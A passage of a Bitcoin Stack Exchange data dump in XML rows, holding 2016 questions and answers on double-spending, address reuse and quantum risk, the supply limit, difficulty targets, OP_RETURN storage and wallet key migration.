  <row Id="44110" PostTypeId="1" CreationDate="2016-05-13T16:17:26.483" Score="0" ViewCount="755" Body="&lt;p&gt;What's to prevent someone from sending bitcoins back to themselves using the same transaction id before any confirmations? So if I go into a deli and pay with Bitcoin and send those bitcoins back to myself using that id as soon as I send those bitcoins, wouldn't my chance of my block getting confirmed first be almost 50%?&lt;/p&gt;&#xA;" OwnerUserId="35609" LastActivityDate="2016-05-13T17:55:50.607" Title="Double Spend Attack" Tags="|blockchain|security|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-30T17:28:37.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="44111" PostTypeId="2" ParentId="44110" CreationDate="2016-05-13T17:55:50.607" Score="0" Body="&lt;p&gt;For starters, that's not how a double-spend works.  The transaction id is actually a hash of the transaction itself.  If you make a transaction that pays to a different address, you've also changed the transaction ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe what you are really asking is why can't someone submit a second transaction that spends the same unspent transaction outputs (UTXO's) back themself.  In that case, it's not really a matter of which one makes it into a block first, but a matter of which one gets relayed across the network first.  Nodes will reject and refuse to relay any transactions which spends UTXO's that have been claimed by another transaction in their mempool.  If they received the transaction to the deli first, then they would reject your double spend. Considering the speed at which new transactions get relayed, it would require some very precise timing (and quite a bit of luck) to get a 50/50 split of the network.  Even if you could do this, then it it would also be a 50/50 chance that the clerk at the deli would see your first transaction.  If his software is monitoring the half of the network that recognizes the second transaction as legitimate, then his cash register will say that you haven't paid him yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While attacks like these are possible, they are not easy.  It's economics that really provides the protection against these &lt;a href=&quot;http://bitcoinist.net/what-does-zero-confirmation-transaction-mean/&quot; rel=&quot;nofollow&quot;&gt;zero-confirmation transaction&lt;/a&gt; double-spend attacks.  It would cost more of your time and money to set up a crime like this than would offset the cost of your sandwich.  Therefore, you won't do it.  For larger transactions, it is always recommended to wait for the transaction to be included in a certain number of blocks, 6 being the agreed number for near-absolute safety.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-13T17:55:50.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44112" PostTypeId="2" ParentId="44089" CreationDate="2016-05-13T18:24:06.357" Score="1" Body="&lt;p&gt;All the info you should need is here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/doc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/doc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13440" LastActivityDate="2016-05-13T18:24:06.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44113" PostTypeId="1" CreationDate="2016-05-13T20:10:12.710" Score="0" ViewCount="684" Body="&lt;p&gt;the spendable amount is not updating to the watch only amount. this is now going on 3 weeks or longer. I am using bitcoin ver 0.12.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas??&lt;/p&gt;&#xA;" OwnerUserId="35617" LastEditorUserId="1580" LastEditDate="2016-05-30T07:44:39.620" LastActivityDate="2016-10-27T09:21:40.817" Title="the bitcoin wallet spendable amount is not updating" Tags="|wallet|watch-only|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44114" PostTypeId="2" ParentId="23401" CreationDate="2016-05-14T01:38:33.390" Score="2" Body="&lt;p&gt;This is a potential issue in bitcoin but much more so in altcoins.  Bitcoin is very conservative in the richness of its transaction script.  Altcoins with a faster block time and/or less restrictive scripting engines need to make substantial optimizations for this not to be a risk.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one of the issues around increasing the blocksize to something like 8MB.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rusty Russell discusses in a post about the megatransaction (&lt;a href=&quot;https://rusty.ozlabs.org/?p=522&quot; rel=&quot;nofollow&quot;&gt;https://rusty.ozlabs.org/?p=522&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Rusty &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if blocks were 8MB: an 8MB transaction with 22,500 inputs and 3.95MB&#xA;  of outputs takes over 11 minutes to hash.  If you can mine one of&#xA;  those, you can keep competitors off your heels forever, and own the&#xA;  bitcoin network&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The bitcoin core developers have been making substantial improvements to bitcoin infrastructure (like libsecp256k1) to make future expansion possible.  But this is an example of how a simple constant change can have far reaching effects.&lt;/p&gt;&#xA;" OwnerUserId="27029" LastActivityDate="2016-05-14T01:38:33.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44115" PostTypeId="1" AcceptedAnswerId="44117" CreationDate="2016-05-14T02:33:38.693" Score="3" ViewCount="579" Body="&lt;p&gt;Though quantum computing can technically break ECDSA with enough qubits, this has not the greatest implication on btc because public keys are not known as they are protected by the hashing used to create an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've noticed online it's been said a few times that reusing addresses may reveal your public key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true?  Are there times your public key is revealed and quantum computers become a legitimate threat?&lt;/p&gt;&#xA;" OwnerUserId="35621" LastEditorUserId="5406" LastEditDate="2016-05-30T07:48:03.717" LastActivityDate="2016-05-30T07:48:03.717" Title="Does address-reuse make Bitcoin private keys vulnerable to quantum computing?" Tags="|public-key|quantum-computing|address-reuse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44117" PostTypeId="2" ParentId="44115" CreationDate="2016-05-14T05:05:01.377" Score="3" Body="&lt;p&gt;The simple explanation is that the attacks that quantum computing enables require information (the public key) that isn't available until after the first transaction is seen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until the first transaction spending an output, all that is known is the hashed version of the recipient key (aka the address) which isn't enough to mount the attack.  If fully developed quantum computers appear with no warning and somehow make it into the hands of a large miner they could potentially see an incoming transaction and race the transaction but the odds of this are vanishingly small.  Most likely, as QC becomes more of a danger, the algorithms in bitcoin will be swapped out for QC resistant ones.&lt;/p&gt;&#xA;" OwnerUserId="27029" LastActivityDate="2016-05-14T05:05:01.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44118" PostTypeId="1" CreationDate="2016-05-14T05:50:06.707" Score="2" ViewCount="4414" Body="&lt;p&gt;Why the total number of bitcoin is limited? Is there a protocol in the block or somewhere so that the participants can't violate the rule?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one who find the block can receive the bitcoin for award. But if the total number of bitcoin is limited, does it means that the total number of block is limited? However, it seems that the total number of block is unlimited, or the transaction will be stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know where I was wrong?&lt;/p&gt;&#xA;" OwnerUserId="35624" LastEditorUserId="5406" LastEditDate="2016-05-30T07:51:24.450" LastActivityDate="2016-05-30T07:51:24.450" Title="Why the total number of bitcoin is limited?" Tags="|blockchain|money-supply|reward-schedule|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-30T07:50:39.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="44119" PostTypeId="2" ParentId="44118" CreationDate="2016-05-14T10:56:08.603" Score="3" Body="&lt;p&gt;The limitation in the number of bitcoins is by design and determined in the protocol code. It is a desirable feature because it makes the money supply predictable and independent of human decisions like it happens with fiat money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are right about the block finder being awarded the reward, but that reward halves every two years. At this moment it is 25 bitcoins per block, but in July it will go down to 12.5 bitcoins per block. And two years after that, it will be 6.25. Then, when the total supply gets to 21 million, there will be no more rewards. Blocks will keep happening, but the fees of the transactions in the block will be only reward the miner will get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From bitcoin.org FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoins are created at a decreasing and predictable rate. The number of new bitcoins created each year is automatically halved over time until bitcoin issuance halts completely with a total of 21 million bitcoins in existence. At this point, Bitcoin miners will probably be supported exclusively by numerous small transaction fees.&#xA;  &lt;a href=&quot;https://bitcoin.org/en/faq#how-are-bitcoins-created&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/faq#how-are-bitcoins-created&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-14T10:56:08.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44121" PostTypeId="1" CreationDate="2016-05-14T18:24:47.923" Score="1" ViewCount="33" Body="&lt;p&gt;Need to create a customised client to be able to create TXs on the blockchain when sending between local addresses. This can be done with Coin Control but needs to be done with a headless daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure that someone will have enabled this on a Bitcoin client before and wondered if anyone knew a commit available for reference.&lt;/p&gt;&#xA;" OwnerUserId="24583" LastActivityDate="2016-05-14T18:24:47.923" Title="Code change to create TX for send between local addresses" Tags="|transactions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44122" PostTypeId="2" ParentId="43389" CreationDate="2016-05-14T18:58:05.363" Score="1" Body="&lt;p&gt;well because there are a lot of scams out there especially on amazon. Most sellers requires that the amazon gift card is purchased with cash and they need receipt because a lot of scammers and hackers are stealing peoples credit card information and buying these gift cards online and using those gift cards to buy bitcoins, now once the credit card holder notice the charge on their cards they dispute it and if the seller of the bitcoin haven't use the card balance than it will be removed from the card. The sellers are being careful because it would be their lost. I have a $25 amazon gift card that I bought from walgreens to buy bitcoins and because I misplaced the receipt I can't buy the bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="35638" LastActivityDate="2016-05-14T18:58:05.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44123" PostTypeId="1" CreationDate="2016-05-14T20:14:00.187" Score="-1" ViewCount="91" Body="&lt;p&gt;how often should I update the users deposit address if I'm using the blockchain receive payments API V2?&lt;/p&gt;&#xA;" OwnerUserId="35105" LastActivityDate="2016-05-30T23:59:26.067" Title="how often to update deposit address of the blockchain.info API" Tags="|blockchain.info|payment|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44125" PostTypeId="1" AcceptedAnswerId="44130" CreationDate="2016-05-15T11:56:29.907" Score="2" ViewCount="629" Body="&lt;p&gt;I have an operational process that involves several sub processes. I am currently maintaining an audit trail of the entire process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For (successfully) completed processes, I want to record the successful transaction (along with all relevant details) on the blockchain, for public consumption. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the 'best practise' way of storing data on the blockchain? - and what (if any), are the data size limitations (and how to workaround data size restrictions?)&lt;/p&gt;&#xA;" OwnerUserId="30817" LastActivityDate="2016-05-18T22:03:15.813" Title="How to store transactional information on the blockchain" Tags="|blockchain|storage|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44126" PostTypeId="1" CreationDate="2016-05-15T13:31:53.347" Score="2" ViewCount="99" Body="&lt;p&gt;When looking at Bitcoin unconfirmed transactions, I'm trying to distinguish between txs that are likely to confirm (whether that be in the first next block or in 2 hours) versus txs that are likely to be replaced, or never to confirm at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, txs with the opt-in RBF flag fall in the latter category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I guess there are other criteria, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;having an extremely low fee, or even zero fee. &lt;/li&gt;&#xA;&lt;li&gt;Having lots of dust outputs. &lt;/li&gt;&#xA;&lt;li&gt;Depending on unconfirmed inputs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anything else I should take into consideration?&lt;/strong&gt; What other factors could make a tx less likely to end up confirmed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, besides dust output, do dust (i.e. many small) &lt;em&gt;inputs&lt;/em&gt; make a tx less sure to confirm? (other than more inputs causing larger tx data, thus resulting in a lower fee when measured in satoshis per KB)&lt;/p&gt;&#xA;" OwnerUserId="15492" LastEditorUserId="5406" LastEditDate="2016-05-30T08:19:26.023" LastActivityDate="2016-05-30T16:21:11.947" Title="What makes an unconfirmed tx 'suspicious'? (likely to be replaced or never confirm)" Tags="|doublespend|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44128" PostTypeId="1" CreationDate="2016-05-15T14:32:15.320" Score="9" ViewCount="19102" Body="&lt;p&gt;I'm trying to get my head around the difficulty setting of Bitcoin. &#xA;How can I calculate how many zeros the target string needs to start with?&lt;/p&gt;&#xA;" OwnerUserId="35660" LastActivityDate="2016-05-16T15:20:06.340" Title="How many zeroes does the current target have?" Tags="|difficulty|" AnswerCount="2" CommentCount="0" ClosedDate="2016-05-30T08:21:09.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="44130" PostTypeId="2" ParentId="44125" CreationDate="2016-05-15T18:42:11.993" Score="3" Body="&lt;p&gt;OP_RETURN is meant to store extra data on the blockchain. As fees are per kbyte, you'll be paying more fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that block size is limited (1MB now every 10 minutes, but growing) and fees are expected to go up quite a bit, so if your application needs to be able to scale, you really need to do some calculations whether yours is a viable solution at all (in general: it should be much cheaper and easier to store extra data yourself, instead of burdening the whole world with it).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-15T18:42:11.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44131" PostTypeId="2" ParentId="44128" CreationDate="2016-05-16T01:00:32.623" Score="11" Body="&lt;p&gt;&lt;strong&gt;17&lt;/strong&gt; judging by the latest blocks published on blockchain.info:&#xA;&lt;a href=&quot;https://blockchain.info/block/0000000000000000057fcc708cf0130d95e27c5819203e9f967ac56e4df598ee&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/block/0000000000000000057fcc708cf0130d95e27c5819203e9f967ac56e4df598ee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2016-05-16T01:00:32.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44133" PostTypeId="1" CreationDate="2016-05-16T02:32:00.593" Score="1" ViewCount="128" Body="&lt;p&gt;Can anyone give me some advice?  I'm looking to learn how to make an independent market for selling and buying CS:GO skins for BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Django and I want all BTC to be stored and processed within the server.  Are there any frameworks or places I can seek advice as to how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you would have the server itself act as a wallet, which can create addresses on demand (I'm assuming I can just use pycoin or one of the python/btc projects).  When users pay to those addresses, your server/wallet can pool the amounts received and use them in outgoing transactions as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand there are payment API's, but I'd rather be entirely independent (if possible), so where can I start?&lt;/p&gt;&#xA;" OwnerUserId="35621" LastActivityDate="2016-05-16T06:18:39.040" Title="Making a Server?" Tags="|server|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44134" PostTypeId="2" ParentId="44133" CreationDate="2016-05-16T06:18:39.040" Score="1" Body="&lt;p&gt;To directly use you wallet to recieve payment, I recommend two options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gear.mycelium.com/&quot; rel=&quot;nofollow&quot;&gt;https://gear.mycelium.com/&lt;/a&gt;. It has payment widgets etc... and you need to do less work on your server&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.electrum.org/en/latest/merchant.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.electrum.org/en/latest/merchant.html&lt;/a&gt; . Less GUI support, you need to execute commands on your server to set this up&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-05-16T06:18:39.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44135" PostTypeId="1" CreationDate="2016-05-16T07:00:37.903" Score="2" ViewCount="388" Body="&lt;p&gt;I am new with bitcoin and I need some help from experienced members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a server with bitcoin core where we accept some payments and use bitcoin core as mercant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that we have got an incoming transaction which we didn't see in our wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the hash of the transaction: &lt;code&gt;460c0dc70ef52fd66142d1798a1735b4613c9ffec478efe5997d1ede0d16f28a&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our bitcoin core through the bitcoin-cli command line I can see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listtransactions 1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&#xA;[&#xA;  {&#xA;    &quot;account&quot;: &quot;1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&quot;,&#xA;    &quot;address&quot;: &quot;1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&quot;,&#xA;    &quot;category&quot;: &quot;receive&quot;,&#xA;    &quot;amount&quot;: 7.02278014,&#xA;    &quot;label&quot;: &quot;1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&quot;,&#xA;    &quot;vout&quot;: 1,&#xA;    &quot;confirmations&quot;: 128,&#xA;    &quot;blockhash&quot;: &quot;000000000000000002ef00cf04d1a6197cd07d5b7826d2dc8cd8a86fd41d578f&quot;,&#xA;    &quot;blockindex&quot;: 425,&#xA;    &quot;blocktime&quot;: 1463303078,&#xA;    &quot;txid&quot;: &quot;460c0dc70ef52fd66142d1798a1735b4613c9ffec478efe5997d1ede0d16f28a&quot;,&#xA;    &quot;walletconflicts&quot;: [&#xA;    ],&#xA;    &quot;time&quot;: 1463299775,&#xA;    &quot;timereceived&quot;: 1463299775,&#xA;    &quot;bip125-replaceable&quot;: &quot;no&quot;&#xA;  }, &#xA;  {&#xA;    &quot;account&quot;: &quot;1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&quot;,&#xA;    &quot;category&quot;: &quot;move&quot;,&#xA;    &quot;time&quot;: 1463303102,&#xA;    &quot;amount&quot;: -0.00007000,&#xA;    &quot;otheraccount&quot;: &quot;1M1LTHjc1JAcVfCoyhSkoP1VH8B9RLY8tg&quot;,&#xA;    &quot;comment&quot;: &quot;merchant fee&quot;&#xA;  }, &#xA;  {&#xA;    &quot;account&quot;: &quot;1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&quot;,&#xA;    &quot;category&quot;: &quot;move&quot;,&#xA;    &quot;time&quot;: 1463303102,&#xA;    &quot;amount&quot;: -7.02278014,&#xA;    &quot;otheraccount&quot;: &quot;1LBa3bAVF5RSfnFnm3sX1Zm5R8WU1J8xnK&quot;,&#xA;    &quot;comment&quot;: &quot;invoice forward&quot;&#xA;  }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I see funds were successfully moved to &lt;code&gt;1LBa3bAVF5RSfnFnm3sX1Zm5R8WU1J8xnK&lt;/code&gt;, which is correct, but on blockchain, for example, if I go here &#xA;&lt;a href=&quot;https://blockchain.info/address/1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1K7Pci1re92vQuTSXbirmvQsmYMpXHQWbQ&lt;/a&gt; &#xA;I see that were sent to another address!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to understand that, and how to find where these bitcoins have gone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated, thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="35686" LastActivityDate="2020-09-06T08:00:10.037" Title="Need help to understand where bitcoin transaction has gone" Tags="|bitcoind|blockchain|bitcoin-core|bitcoin-cli|listtransactions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44137" PostTypeId="1" CreationDate="2016-05-16T09:21:47.410" Score="1" ViewCount="2861" Body="&lt;p&gt;Hypothetically, if everyone decided to trade in all their money and get Bitcoins for them tomorrow then how much would a single Bitcoin be worth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My dodgy calculation makes it out to be $3,750,000 per BTC since there is apparently $60 trillion worth of fiat money and there are almost 16 million Bitcoins in circulation however I'm sure the calculation isn't that easy :p&lt;/p&gt;&#xA;" OwnerUserId="35690" LastActivityDate="2017-06-07T06:31:48.540" Title="If everyone decided to switch to Bitcoin tomorrow, how much would a Bitcoin be worth?" Tags="|value|" AnswerCount="1" CommentCount="7" ClosedDate="2016-06-23T15:49:24.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="44138" PostTypeId="2" ParentId="24393" CreationDate="2016-05-16T10:28:49.537" Score="6" Body="&lt;p&gt;In Armory:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select &quot;Wallet Properties&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Backup This Wallet&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;See Other Backup Options&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Export Key List&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Omit spaces in key data&quot;.&lt;/li&gt;&#xA;&lt;li&gt;The important string is the &lt;strong&gt;PrivBase58&lt;/strong&gt; for every bitcoin address. It is the private key of this address encoded in base58 (encoded &lt;strong&gt;not&lt;/strong&gt; encrypted), which is the (only?) format Electrum accepts when importing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In Electrum:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select File &amp;rarr; New Wallet&lt;/li&gt;&#xA;&lt;li&gt;Enter the private keys you took from armory into the textbox&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="112" LastEditorUserId="56114" LastEditDate="2017-12-29T21:28:02.520" LastActivityDate="2017-12-29T21:28:02.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44139" PostTypeId="1" CreationDate="2016-05-16T10:39:52.487" Score="2" ViewCount="466" Body="&lt;p&gt;Wikipedia info on &lt;a href=&quot;https://en.wikipedia.org/wiki/Nick_Szabo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nick Szabo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does his interest in Ethereum make it more or less likely it is him?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article seems to support the suggestion: &lt;strong&gt;&lt;a href=&quot;http://www.businessinsider.com/nick-szabo-ethereum-bitcoin-blockchain-history-satoshi-nakamoto-2015-11?op=1?r=UK&amp;amp;IR=T&quot; rel=&quot;nofollow noreferrer&quot;&gt;The man everyone thinks is the creator of bitcoin gave a speech discussing the history of the technology&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="35694" LastEditorUserId="35595" LastEditDate="2017-09-23T15:08:31.587" LastActivityDate="2017-09-23T15:08:31.587" Title="What are the chances that Nick Szabo is Satoshi?" Tags="|satoshi|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-30T08:26:42.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="44140" PostTypeId="2" ParentId="44139" CreationDate="2016-05-16T12:08:50.947" Score="0" Body="&lt;p&gt;He is one of the most likely candidates but for me his interest in Ethereum makes him less likely (than before) to be Satoshi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article discusses some of the known plausible candidates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/information/who-is-satoshi-nakamoto/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/information/who-is-satoshi-nakamoto/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35696" LastActivityDate="2016-05-16T12:08:50.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44142" PostTypeId="1" CreationDate="2016-05-16T13:47:23.623" Score="0" ViewCount="5198" Body="&lt;p&gt;if the address has changed in my wallet&lt;br&gt;&#xA;could I still receive funds on the old one??&lt;br&gt;&#xA;because the address has changed a lot of times by its own without I have change it &lt;/p&gt;&#xA;" OwnerUserId="35701" LastEditorUserId="2306" LastEditDate="2016-06-07T22:40:44.210" LastActivityDate="2016-06-07T22:40:44.210" Title="what about that the adress change all the time?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ClosedDate="2016-06-09T15:31:59.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="44143" PostTypeId="2" ParentId="44142" CreationDate="2016-05-16T14:00:20.997" Score="2" Body="&lt;p&gt;Short answer: yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addresses are just a representation of the public key from a public/private key pair.  Wallets generate new key pairs for every transaction.  Every time you click &quot;Receive&quot;, you generate a new key pair.  Your wallet manages these keys for you, so you don't have to think about them.  For best practice in privacy, it's best to always use a new address (key pair) every time you receive payment.  That is why it has changed without you telling it to.  You can always re-use one, but there's really no reason for it.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-16T14:00:20.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44144" PostTypeId="2" ParentId="44142" CreationDate="2016-05-16T14:47:15.793" Score="0" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A BIP32 wallet, in simple terms, is a wallet which generates up to billions of addresses from a single seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An address is, in short, the public part of a private and public key pair. As long as you hold the private key which corresponds to a public address, any funds received, past and future, are your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the wallet generates a new address each time you receive a payment is for privacy reasons only, because if you use the same address for many transactions, the peers you traded with will be able to identify which other transactions you were involved in, and your identity will be easier to tie to the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mnemonic backup (those words the wallet asks you to safely write on a paper, usually 12 words) assembles back to the seed. So anywhere you restore your mnemonic, the exact same key pairs (and thus the same addresses) generated before would be generated again up to the 20 (i guess) last addresses which have no funds received yet.&lt;/p&gt;&#xA;" OwnerUserId="30594" LastActivityDate="2016-05-16T14:47:15.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44145" PostTypeId="2" ParentId="44137" CreationDate="2016-05-16T14:56:52.667" Score="0" Body="&lt;p&gt;What complicates your calculation is the liquidity aspect.&#xA;Although there is about 16 million mined bitcoins, the number of bitcoins available for trade is far less than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is interesting to observe is that the fact there is a ~7bn market on bitcoin right now doesn't necessarily mean the sum of the money spent by the bitcoin holders is even near 7bn. Some people bought if for pennies, some for a couple dollars, some mined it. It just means that the holders of bitcoins are not willing to give them away for the price being offered by buyers right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price is determined by supply and demand market forces, and the supply would respond to the increase in price. I maybe would sell one of mine if the price reached $100k per unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other factor is that fiat money may be created out of thin air, so it has sort of an infinite supply. If an unrestricted government decides to purchase bitcoin, this would strongly push the price up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end of the day, what you can try to grasp is what would be the minimum price it would reach, but estimating the actual price would depend on far too many variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that non-Bitcoin currencies have the same or extremely similar price mechanism. Dollars, specifically, can lose all their value if people stopped liking them. In a way, cryptocurrency is a huge threat to &quot;free floating&quot; currencies like the US Dollar.&lt;/p&gt;&#xA;" OwnerUserId="30594" LastEditorUserId="909" LastEditDate="2017-06-07T06:31:48.540" LastActivityDate="2017-06-07T06:31:48.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44146" PostTypeId="2" ParentId="44128" CreationDate="2016-05-16T15:20:06.340" Score="3" Body="&lt;p&gt;Clarifying: difficulty is a more human-friendly representation of the target. Tha target itself is not specified in terms of the amount of zeroes. This seemed to be the case with hashcash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more precise definition of the target is a maximum accepted number for the produced block hash. In this sense a certain hash with a certain number of leading zeroes may be accepted and another hash with the same amount of leading zeroes may not be accepted.&lt;/p&gt;&#xA;" OwnerUserId="30594" LastActivityDate="2016-05-16T15:20:06.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44148" PostTypeId="1" AcceptedAnswerId="44494" CreationDate="2016-05-16T21:06:58.833" Score="3" ViewCount="213" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinfees.com&quot; rel=&quot;nofollow&quot;&gt;This website&lt;/a&gt; has an example called &quot;When Too Much is Not Enough&quot; on its main page. I'll quote it an case this is changed in the future:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Suppose you have only two outputs in your wallet, worth 1 XBT and 2&#xA;  XBT. You want to buy something for 2.999 XBT. The coin selection code&#xA;  has no choice; it has to select both coins to get a big enough total&#xA;  to make the transaction. That means the change will be 0.001 XBT,&#xA;  which triggers the 0.0001 XBT fee for having an output that's less&#xA;  than 0.01 XBT. As a result your transaction will fail, because the&#xA;  amount you're sending plus the fee is more than you have.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What this means is that there's no 